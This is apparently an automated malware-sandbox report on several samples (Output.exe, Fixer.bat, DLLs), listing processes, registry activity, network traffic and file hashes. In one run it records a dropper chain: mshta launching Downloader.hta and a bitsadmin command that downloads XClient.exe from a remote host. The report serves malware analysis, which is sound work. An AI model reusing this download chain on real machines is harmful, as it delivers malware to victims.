US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp

Files

N/A

Analysis: behavioral10

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win10v2004-20240802-en

Max time kernel

127s

Max time network

134s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Guna.UI2.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Guna.UI2.dll,#1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4512,i,4174666705242427184,7333705955694532165,262144 --variations-seed-version --mojo-platform-channel-handle=4500 /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral18

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win10v2004-20240802-en

Max time kernel

120s

Max time network

129s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Icons\Output.exe"

Signatures

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Icons\Output.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\Output.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Output.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\bitsadmin.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings C:\Users\Admin\AppData\Roaming\Output.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Icons\Output.exe

"C:\Users\Admin\AppData\Local\Temp\Icons\Output.exe"

C:\Users\Admin\AppData\Roaming\Output.exe

"C:\Users\Admin\AppData\Roaming\Output.exe"

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 http://www.example.com/XClient.exe C:\Users\Admin\AppData\Local\Temp\XClient.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 25.140.123.92.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 www.example.com udp
US 93.184.215.14:80 www.example.com tcp
US 8.8.8.8:53 14.215.184.93.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp

Files

memory/2700-0-0x00007FF9EF063000-0x00007FF9EF065000-memory.dmp

memory/2700-1-0x0000000000530000-0x000000000053E000-memory.dmp

C:\Users\Admin\AppData\Roaming\Output.exe

MD5 a731d63dc3edd963b906d0f861f7119c
SHA1 378d5339f1b675e98c81f4446f9e9ad81bc9da9f
SHA256 94e34e1ab4c0941edda34585cb048af9b4bf4a8e3e9042e3986b597b839f4dad
SHA512 39d39f34144538fa4d822aa806e0994dacc64da2358001de2b7e07400218e60302630ed28b74a3ca293a6b20cb30fadfeb342e8f5060a083753fd4674390d0a6

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Output.exe.log

MD5 2ff39f6c7249774be85fd60a8f9a245e
SHA1 684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA512 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

memory/224-15-0x00000000008D0000-0x00000000008DC000-memory.dmp

memory/224-17-0x00007FF9EF060000-0x00007FF9EFB21000-memory.dmp

memory/224-19-0x00007FF9EF060000-0x00007FF9EFB21000-memory.dmp

C:\Users\Admin\AppData\Roaming\Downloader.hta

MD5 f27fe2354ebb52cffbb3a8cf66c6bdb3
SHA1 439ce7924db3f534a14d78470c57c98e397969ee
SHA256 30211495aba380e4649ba7a892fea8523b0857a1db4a3be3ec59a822d385a6b4
SHA512 7e22d88538dd3d9e853002fc7caf149c047be7c17dff24061236b9a29f558d53949b2a1a46e74185e32341c1fa3e2d7b9ce3917bd5e988cd12ea380acbf33c0f

Analysis: behavioral31

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win7-20240708-en

Max time kernel

14s

Max time network

17s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\MonoMod.Core.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\MonoMod.Core.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral3

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win7-20240704-en

Max time kernel

119s

Max time network

122s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\Fixer.bat"

Signatures

N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\Fixer.bat"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe"

Network

N/A

Files

N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win10v2004-20240802-en

Max time kernel

90s

Max time network

130s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fixer.bat"

Signatures

N/A

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fixer.bat"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp

Files

N/A